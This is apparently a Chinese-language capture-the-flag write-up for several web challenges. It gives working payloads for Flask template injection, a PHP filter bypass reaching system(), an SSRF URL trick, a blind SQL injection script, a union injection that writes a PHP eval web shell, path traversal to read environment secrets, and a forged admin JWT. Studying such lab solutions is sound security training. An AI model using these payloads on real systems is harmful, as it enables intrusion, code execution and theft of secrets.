文章目录
ezflask
ssti, 过滤了一些关键词, 绕一下就行
name={{url_for["__globals__"]["__builtins__"]["eval"]("__tropmi__"[::-1])('o''s')["po""pen"]("ls /")|attr("read")()}}

ezjs
查看源码可以看到这一段
game._addSuccessFn(function (scoreNow) {
current_score.innerHTML = scoreNow
if (scoreNow === 100000000000) {
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'score=' + scoreNow
})
.then(response => response.text())
.then(data => {
alert("恭喜你!flag是:" + data);
})
.catch(error => {
console.error('错误:', error);
});
}
})
直接伪造请求就行

ezrce
php
<?php
error_reporting(0);
highlight_file(__FILE__);
function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);
$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);
if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}
$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];
if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>
主要是绕过waf里面被禁用的函数, 可以通过在函数名前面添加一个反斜杠\
, 不影响函数的执行, 且waf也没法检查出来
?num=12345
new=\system&star=cat /flag

ezssrf1.0
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];
if ($url == null)
die("Try to add ?url=xxxx.");
$x = parse_url($url);
if (!$x)
die("(;_;)");
if ($x['host'] === null && $x['scheme'] === 'http') {
echo ('Well, Going to ' . $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else
echo "(^-_-^)";
感觉有点抽象, 一直尝试, 看看哪个有反应
?url=http:@localhost/flag

?url=http:@localhost/FFFFF11111AAAAAggggg.php

签到

得到l23evel4.php
提示了今年是多少年

继续levelThree.php
F12有提示

继续/level444Four.php

继续: level4545Five.php

直接放控制台就行

继续: zzpufinish.php

ezsql1.0
过滤了空格, 可以用/**/
绕过,直接布尔盲注打
发现可以执行一些内置函数的操作, 想要查询却查不了, 试了了很久, 后面想到可以通过load_file
函数读取文件, 没被ban, 但是flag不在根目录下, 读一下源码
import requests
import urllib.parse
url="http://27.25.151.26:32384/"
headers = {"Content-Type":"application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}
flag = ''
i=1
while True:
right = 128
left = 32
while left <= right:
mid = (right + left) // 2
params={"id":f"-1/**/or/**/ord(substr(load_file('/var/www/html/index.php')/**/from/**/{i}/**/for/**/1))>{mid}#"}
res=requests.get(url=url,params=params,headers=headers,proxies={"http": None, "https": None})
if 'admin' in res.text:
left=mid+1
else:
right=mid-1
i+=1
flag += chr(left)
print(flag)
可以拿到源码
php
<?php
include('connect.php');
$input = $_GET['id'] ?? '';
$result_html = '';
if (strpos($input, ' ') !== false) {
$result_html = "<p class='error'> hacker</p>";
} else if ($input !== '') {
$filtered_input = preg_replace('/select/i', '', $input);
$sql = "SELECT id, username, password FROM users WHERE id = $filtered_input";
$query = @$conn->query($sql);
if ($query && $query->num_rows > 0) {
$row = $query->fetch_assoc();
// $result_html .= "<table><tr><th>ID</th><th></th><th></th></tr>";
$result_html .= "<tr>";
$result_html .= "<td>" . htmlspecialchars($row['id']) . "</td>";
$result_html .= "<td>" . htmlspecialchars($row['username']) . "</td>";
$result_html .= "<td>" . htmlspecialchars($row['password']) . "</td>";
$result_html .= "</tr>";
$result_html .= "</table>";
} else {
$result_html .= "<p class='error'></p>";
}
}
if ($conn instanceof mysqli && $conn->ping()) {
$conn->close();
}
?>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>User Query</title>
</head>
<body>
<?php echo $result_html; ?>
</body>
</html>
发现是把select
替换为空了, 难怪查询的操作都执行不了
双写绕过直接写马
?id=-1/**/union/**/seselectlect/**/1,2,'<?=eval($_POST[1]);?>'into/**/outfile/**/'/var/www/html/1.php'%23
/var
目录下可以发现一个db.sql文件, 里面存在flag


ez_web1
查看源码, 根据这些信息, 直接猜测出用户名和密码: fly233/123456789

非预期
进去到里面点击它的图书, 会发现跳转到/read
的路由,三本书的路由是一样的, 但是内容不一样, 可能是存在POST传了其他的参数, 抓一下包就可以发现, 直接任意文件读, 可以直接读到flag, 直接非预期了
book_path=../../../../proc/1/environ

预期解
读一下源码
python
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt
app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}
def generate_token(username):
payload = {
'username': username
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token
def decode_token(token):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
return payload
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None
@app.route('/')
def index():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
username = payload['username']
books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
return render_template('./index.html', username=username, books=books)
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('./login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and users[username] == password:
token = generate_token(username)
response = make_response(jsonify({
'message': 'success'
}), 200)
response.set_cookie('token', token, httponly=True, path='/')
return response
else:
return {'message': 'Invalid username or password'}
@app.route('/read', methods=['POST'])
def read_book():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
book_path = request.form.get('book_path')
full_path = os.path.join(book_dir, book_path)
try:
with open(full_path, 'r', encoding='utf-8') as file:
content = file.read()
return render_template('reading.html', content=content)
except FileNotFoundError:
return "文件未找到", 404
except Exception as e:
return f"发生错误: {str(e)}", 500
@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
if request.method == 'GET':
return render_template('./upload.html')
if payload.get('username') != 'admin':
return """
<script>
alert('只有管理员才有添加图书的权限');
window.location.href = '/';
</script>
"""
file = request.files['file']
if file:
book_path = request.form.get('book_path')
file_path = os.path.join(book_path, file.filename)
if not os.path.exists(book_path):
return "文件夹不存在", 400
file.save(file_path)
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
pattern = r'[{}<>_%]'
if re.search(pattern, content):
os.remove(file_path)
return """
<script>
alert('SSTI,想的美!');
window.location.href = '/';
</script>
"""
return redirect(url_for('index'))
return "未选择文件", 400
需要伪造admin, 读/proc/self/environ
找到key
JWT_KEY=th1s_1s_k3y
python
import jwt
SECRET_KEY="th1s_1s_k3y"
def generate_token(username):
payload = {
'username': username
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token
token_admin=generate_token("admin")
print(token_admin)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U
看到它上传文件的逻辑, 先把文件保存下来之后去检查它的文件内容, 如果有不合法的字符, 就把文件给删除, 这里很明显可以进行一个竞争去绕过它的字符过滤
一般想要进行ssti是要用到render_template_string
这个模块, 但是这里并没有导入这个模块, 所以在这里就上传一个index.html
文件覆盖掉原先的index.html
(或者代码里面的其他的html文件都可以), 让它的内容为ssti的rce, 这样在render_template
进行渲染的时候也可以执行ssti的代码
我们正常上传的文件路径是/app/books/xx.txt
然后可以通过参数filename
更改上传的路径, index.html的路径是在/app/templates/index.html
可以利用前面的任意文件读测试这些文件的存在
BurpSuite抓包, 直接在intruder
模块不不断的发包就行

然后不停的刷新浏览器, 就可以拿到flag了
